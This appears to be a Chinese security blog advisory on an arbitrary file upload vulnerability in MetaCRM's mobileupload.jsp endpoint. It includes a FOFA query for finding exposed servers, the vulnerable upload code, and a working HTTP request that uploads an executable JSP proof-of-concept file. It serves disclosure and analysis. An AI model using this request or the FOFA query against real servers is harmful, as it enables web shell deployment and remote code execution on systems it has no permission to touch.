美特CRM mobileupload.jsp 任意文件上传漏洞


漏洞简介

MetaCRM是一款智能平台化CRM软件,通过提升企业管理和协同办公,全面提高企业管理水平和运营效率,帮助企业实现卓越管理。美特CRM mobileupload.jsp 接口存在任意文件上传漏洞,攻击者无需经过严格身份验证即可向服务器上传任意类型的文件,包括可执行的恶意脚本。一旦利用此漏洞,攻击者可能在服务器上部署后门、WebShell 等恶意程序,从而实现远程代码执行、服务器控制,甚至进一步窃取敏感数据或破坏业务系统的正常运行。

影响版本

fofa语法

body="/common/scripts/basic.js" && body="www.metacrm.com.cn"

漏洞分析

直接看mobileupload.jsp实现逻辑当中关键部分

upload.setHeaderEncoding("utf-8");
upload.setProgressListener(getBarListener);
List uploadlist=upload.parseRequest(request);
Iterator iter=uploadlist.iterator();

while (iter.hasNext()) {
  FileItem item=(FileItem)iter.next();
  filename=org.apache.commons.io.FilenameUtils.getName(item.getName());

  if (!item.isFormField() && !sizeflag && !formatflag) {
      int iSept=filename.lastIndexOf(java.io.File.separator);
      if (iSept>0)
          filename=filename.substring(0,iSept);
      if (!filename.equals("")) {
          iSaveSize +=item.getSize();
      iSaveCount +=1;
      //System.out.println("start "+filename);
      affixID = com.metasoft.framework.pub.util.Oid.getOid();
      if (filename.indexOf(".")!=-1) {
          affixID +=filename.substring(filename.lastIndexOf("."));
      }
      java.io.File saveFilepath=new java.io.File(path+affixID);
                //是否有附件存储规则定义
                if(flag){
                    affixID = childPath+"/"+affixID;
                }
      item.write(saveFilepath);
    }

最主要是上传文件后缀截取至用户上传设置的filename的最后一个点后的后缀,这个由用户控制,因此造成任意文件上传漏洞。

漏洞复现

POST /mobile/mobileupload.jsp HTTP/1.1
Host: metasoft.mrxn.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary123456

------WebKitFormBoundary123456
Content-Disposition: form-data; name="file"; filename="1.jsp"

<%out.println(java.util.UUID.randomUUID().toString());new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
------WebKitFormBoundary123456--

在响应里回显了文件路径以及文件名

访问上传文件,成功执行代码,打印随机UUID并删除自身


手机扫码阅读

汉王e脸通综合管理平台 mobiMeetingApp/uploadMeetingFile.do 任意文件上传漏洞

汉王e脸通综合管理平台 exportResourceByFilePath.do 任意文件读取漏洞

评 论